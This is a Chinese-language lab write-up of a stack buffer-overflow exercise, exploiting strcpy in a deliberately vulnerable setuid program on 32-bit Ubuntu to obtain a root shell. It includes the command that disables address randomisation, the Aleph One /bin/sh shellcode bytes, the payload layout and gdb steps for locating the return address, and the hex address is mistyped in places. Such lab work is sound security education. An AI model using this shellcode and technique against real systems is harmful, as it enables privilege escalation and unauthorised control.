缓冲区溢出实验 1 strcpy
实验代码
https://github.com/TouwaErioH/security/tree/master/stack%20overflow
实验目的
Buffer over flow 漏洞利用实践
实验内容
编写exploits攻击漏洞程序
实验结果
获取具有root权限的shell
实验环境
Windows10
Oracle VM VirtualBox
Ubuntu16.04 i386
Sudo apt-get prelink
Exploits 攻击程序。Vulnerables 目标程序
准备
Vulnerable 文件夹 编译,安装 Make Sudo make install
安装到了根目录 /tmp 文件夹。
Exploits 编译 Make
先关闭地址随机化 sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
七、实验步骤
1.vul[1-6]的简单描述
1.1 vul 1
查看Vul1 源代码可知其中存在strcpy函数,当各种保护机制未开启时,容易利用strcpy实现缓冲区溢出。Vul 1 没有做边界的检查,直接拷贝argv[1]数组到buf数组,当argv[1]数组大小大于buf数组时,超出的字节会覆盖掉foo函数的ebp,返回地址等内容,当函数返回时读取返回地址,只要修改返回地址为shellcode的起始地址,就可以执行shellcode,进而获得shell。
2.shellcode(构造过程)
原理是运行/bin/sh 来得到shell,构造过程是将具有运行/bin/sh的C代码转换成有相同功能的机器码。注意代码中用到 0 的地方改成用 xor eax,eax,这样可以避免复制字符串时遇到/0 中断。
下面的shellcode长度为45字节(不含/0)
/*
* Aleph One shellcode.
*/
static const char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
3.exploit[1-6]攻击方式描述(攻击原理,payload构造方式,攻击过程描述)
3.1 exploit1
查看exploit1,框架已经搭建好,只需要替换其中的”hi there”为设计的payload
Payload由三部分组成,shellcode(获取shell的机器码),目标地址(返回地址设置为shellcode),nop(填充,使得能返回到shellcode)
下面是shellcode。执行exec(“/bin/sh”)的机器码。执行/bin/sh 可以获得root权限
如图,payload要覆盖调buf数组,长度要大于256,所以需要填充nop
以vul1为例介绍如何获得地址
安装git-peda
其含有漏洞的代码如下。由源码可见Buf256字节,向上覆盖foo的返回地址还需要覆盖ebp(4字节),ret(4字节),所以payload需要256+8=264字节
Exploits.c先填充shellcode,再填充nop,最后填充地址
Shellcode 45字节(除最后的\0)
先填充shellcode再填充nop是因为内存中数组地址从低到高,栈方向从高到低,覆盖掉返回地址后返回到shellcode地址。
45+(256-45)*NOP覆盖到buf,+4nop覆盖ebp,最后四字节覆盖ret
修改exploits1.c
修改exploits1.c后重新make生成生成新的exploit可执行文件
这里最后覆盖的地址0xbffffc4c获取方法见下。一开始随便填都可以。
在vul目录下,调试vul1 可执行文件。
含有strcpy的函数为bar(第一句直接调用),foo调用,先找到foo调用bar的地址
找到调用bar位置为0x080484fc
换到exploitmulu,调试
gdb –e exploit1 –s /tmp/vul1 执行exploit1,从指定文件vul1读取符号表
- catch exec 在exploit执行exec的位置设断点
- r
- b *0x80484fc
- c
- ni
- find 0xd231c931
报错"/home/erio/Desktop/proj1/exploits/exploit1" is not a core dump: File format not recognized
检查源文件meiwent。发现是输入的时候直接copy的,可能有干扰。手打gdb -e exploit1 -s /tmp/vul1就没问题了
Run
执行到exec刚刚知道bar的地址是 0x080484fc,在这里设置断点,c运行
此时暂停到foo调用bar的位置,因为strcpy就在bar第一句,只执行一步就可以得到地址。
使用ni 进入bar函数内部
现在在strcpy内部
Payload中最开始是shellcode,shellicode前4字节为 0x895e1feb (注意小端)
Find 0x895e1feb
找到地址在0xbffff1c4c,所以刚刚的payload最后四字节填 0xbfff1c4c。因为payload最后四字节溢出覆盖掉了foo的返回地址(不是bar的),strcpy是直接填了foo中buf。然后bar结束,栈回收只是esp,ebp改变,shellcode其实还在内存中,foo返回时eip跳到shellcode起始处,然后把shellcode的字符串当成机器码执行,eip++。
正确修改payload最后四位为0xbffff1c4c后,执行exploit1,效果如下,得到了root权限
另
还可以参考:
https://blog.csdn.net/qq_36779888/article/details/89682728